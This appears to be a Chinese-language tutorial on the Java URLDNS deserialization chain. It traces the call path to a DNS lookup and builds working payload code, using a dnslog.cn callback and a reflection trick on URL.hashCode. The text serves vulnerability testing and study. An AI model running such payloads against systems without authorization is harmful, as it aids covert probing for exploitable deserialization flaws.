URLDNS链
URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。
该链比较简单,利用链也比较短。
其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。
整个调用链如下:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()
调用链分析
HashMapde readObject()方法会调用putVal()方法因而调用hash()方法,传递的参数为key,这个key为hashMap对象的存在的键。
之后会调用key.hashCode(),即key(Object)不同,调用的hashCode()不同。
而URL类中也存在hashCode方法,如果传入的key为URL对象,则会调用URL对象的hashCode():
如果调用了URL对象的hashCode,则会调用handler.hashCode(this)
,
其中handler为URLStreamHandler
因此,最终会调用URLStreamHandler
对象的hashCode()
。
在URLStreamHandler
对象的hashCode()
中会调用getHostAddress(u),进而发起DNS请求。
总结一下就是:
如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。
Payload编写
基本代码如下:
URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();hashMap.put(url,'1');SerAndUnser.serialize(hashMap);
通过hashMap对象put进一个URL对象。
根据调用链,则在反序列化时会调用hashMap的readObject方法,其中url对象为key,然后调用到url.hashCode()
⇒URLStreamHandler.hashCode(url)
,最终触发到请求DNS的代码。
看似完美,但是运行时会发现,序列化hashMap对象时就已经触发了请求DNS代码。
为什么呢?
通过分析发现,hashMap的put方法也会调用hash(url)
⇒url.hashCode()
,也就是说在执行hashMap.put(url,'1')
时就会触发最终代码。
怎么办呢?
这里有两个思路:
- hashMap在put的时候,不将url放入hashMap,这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。
- 将url对象put进入hashMap,然后想办法不让url对象触发
hashCode()
或者是不触发URLStreamHandler.hashCode()
。
显然第一个思路实现不了,没有别的方式在hashMap对象中放入key。
那么就看一下第二个思路:
在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。
那我们能不能阻止URLStreamHandler.hashCode()
的执行呢?看下url对象的hashCode方法
发现:这里先是做了一个判断,如果hashCode为-1,则不会再执行到hashCode()了,这不正是我们想要的嘛。只需要将hashCode设置为-1。
但怎么设置呢?
首先,hashCode默认为-1
通过搜索也没有位置可以修改hashCode的值,那我们只能通过hashMap对象本身来修改了,但是hashCode又是private修饰,直接修改不了。
所以接下来需要使用反射处理,修改的代码如下:
URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass(); // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');// SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");
以上代码,序列化时没有触发最终代码了,但是在反序列化时也不触发了~
原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到handler.hashCode()
,因此执行不到最终的代码。
解决方式是,在hashMap的put之后,再把url对象的hashCode值修改为-1即可。
最终代码如下:
URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass(); // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');// put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);// SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");
执行反序列化会成功触发最终的DNS请求。